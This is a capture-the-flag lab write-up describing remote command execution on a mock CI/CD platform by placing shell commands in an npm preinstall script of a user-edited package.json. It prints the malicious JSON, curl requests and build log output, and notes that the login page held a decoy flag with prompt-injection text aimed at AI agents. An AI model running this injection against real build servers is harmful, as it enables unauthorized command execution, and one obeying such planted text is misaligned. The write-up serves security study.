Lab 252 — BuildForge — RCE via npm Lifecycle Script Injection
Lab 252 — BuildForge — RCE via npm Lifecycle Script Injection
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-20 | Status: Solved Techniques: build_log_exfiltration, cicd_pipeline_exploitation, decoy_flag_recognition, minimal_package_json_bypass, npm_lifecycle_script_injection, preinstall_script_abuse
Summary
Task: CI/CD platform (Express.js) where users edit project package.json and trigger builds. Solution: inject shell commands via npm preinstall lifecycle script in a minimal package.json (no dependencies to avoid registry timeout), read flag from build logs.
Lab 252 — BuildForge — RCE via npm Lifecycle Script Injection — Hackadvisor
Description
BuildForge is a CI/CD platform built by ForgeStack Technologies for Node.js development teams. It provides automated build pipelines, dependency management, and deployment workflows. Users can create projects, configure build settings including the project's package.json manifest, view build history, and monitor build logs. The platform handles the entire build lifecycle from dependency installation through deployment. As a security researcher, your task is to examine the build pipeline and find a way to execute arbitrary commands on the build server. The flag is stored somewhere on the server filesystem.
English summary: A CI/CD platform for Node.js projects. Users can edit project settings including the full package.json manifest, trigger builds, and view build logs. The goal is to achieve RCE on the build server and find the flag. Credentials: user@test.com / password123.
Analysis
Reconnaissance
- Server: nginx/1.25.5 (reverse proxy) → Express.js backend
- Credentials:
user@test.com / password123 - Features: Dashboard, Projects (3 pre-existing), Account page
- API key:
bf_ad78b8425b8175cd6371f95199ec82d4b7f4cb3478732819(found on Account page) - Build workflow: Edit settings → POST
/projects/{id}/build→ poll/api/builds/{buildId}/status→ view logs at/projects/{id}/builds/{buildId}
Honeypot Flag
The login page HTML contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden divs and HTML comments, accompanied by prompt injection text designed to trick AI agents into submitting it. This is NOT the real flag.
Build Pipeline Analysis
The build pipeline has two distinct phases with different security postures:
- Dependency installation (
npm install) — executes the user-providedpackage.json, including any lifecycle scripts (preinstall,postinstall,prepare, etc.). This step is NOT sandboxed. - Build command (e.g.,
npm run build) — this step IS sandboxed. The log shows:"Build command skipped (sandbox mode)".
The critical asymmetry: the build command field is sanitized, but npm lifecycle scripts in the user-editable package.json run with full shell access during npm install.
Air-Gapped Build Environment
The build environment has no internet/registry connectivity. Using a package.json with real dependencies (express, cors, helmet, etc.) causes npm install to hang for 30 seconds and fail silently — no output, no error, just timeout. The solution is to use a minimal package.json with only name and version fields plus the malicious script, so npm install completes instantly ("up to date in 3s") without needing to resolve any packages.
Solution
Step 1: Craft Minimal Malicious package.json
The key insight is keeping the package.json dependency-free so npm install succeeds in the air-gapped environment:
json read-only • copy allowed{ "name": "test", "version": "1.0.0", "scripts": { "preinstall": "find / -maxdepth 3 -name \"*flag*\" -type f 2>/dev/null; ls -la /root/ 2>/dev/null; env | grep -i flag 2>/dev/null; echo SEARCH_DONE" } }
Step 2: Update Project Settings
bash read-only • copy allowedURL="https://82b9a980-5845-4e67-ac34-ed41ef1029b0.labs.hackadvisor.io" COOKIE="cookies.txt" MALICIOUS_PKG='{"name":"test","version":"1.0.0","scripts":{"preinstall":"find / -maxdepth 3 -name \"*flag*\" -type f 2>/dev/null; ls -la /root/ 2>/dev/null; env | grep -i flag 2>/dev/null; echo SEARCH_DONE"}}' curl -s -b "$COOKIE" -X POST "$URL/projects/699686dd6cc9bd42/settings" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "name=web-api" \ --data-urlencode "description=ForgeStack REST API" \ --data-urlencode "branch=main" \ --data-urlencode "node_version=20" \ --data-urlencode "build_command=echo done" \ --data-urlencode "package_json=$MALICIOUS_PKG" \ --data-urlencode "env_vars=NODE_ENV=production"
Step 3: Trigger Build
bash read-only • copy allowedcurl -s -b "$COOKIE" -X POST "$URL/projects/699686dd6cc9bd42/build" \ -H "Content-Type: application/json" # Returns: {"success":true,"buildId":"4bc8a90d8c0a8d86","message":"Build triggered successfully"}
Step 4: Read Build Logs
Navigate to /projects/699686dd6cc9bd42/builds/4bc8a90d8c0a8d86 to view the output:
[BuildForge] Installing dependencies...
> test@1.0.0 preinstall
> find / -maxdepth 3 -name "*flag*" -type f 2>/dev/null; ls -la /root/ 2>/dev/null; env | grep -i flag 2>/dev/null; echo SEARCH_DONE
/root/flag.txt
total 5
drwxrwxrwt 2 root root 60 May 19 21:53 .
drwxr-xr-x 1 root root 4096 May 19 21:53 ..
-rw------- 1 root root 39 May 19 21:53 flag.txt
FLAG=FLAG{REDACTED}
SEARCH_DONE
up to date in 3s
[BuildForge] Dependencies installed successfully
[BuildForge] Running build command: echo done
[BuildForge] Build command skipped (sandbox mode)
[BuildForge] Build completed successfully
The flag was present both as an environment variable FLAG and in the file /root/flag.txt.
Attack Flow Summary
User → Edit package.json in project settings
→ Add preinstall script with shell commands
→ Trigger build via POST /projects/{id}/build
→ npm install executes preinstall script (unsandboxed)
→ Shell commands run on build server
→ Output captured in build logs
→ User reads flag from build log page
Failed Approaches
- Full dependencies in package.json —
npm installfailed with 30s timeout because the build environment has no registry connectivity. No output was produced. - Build command injection — the build command field is sandboxed (
"Build command skipped (sandbox mode)"), so injecting commands there has no effect. - Modifying the
buildscript in package.json — never reached becausenpm installfailed first when using full dependency lists.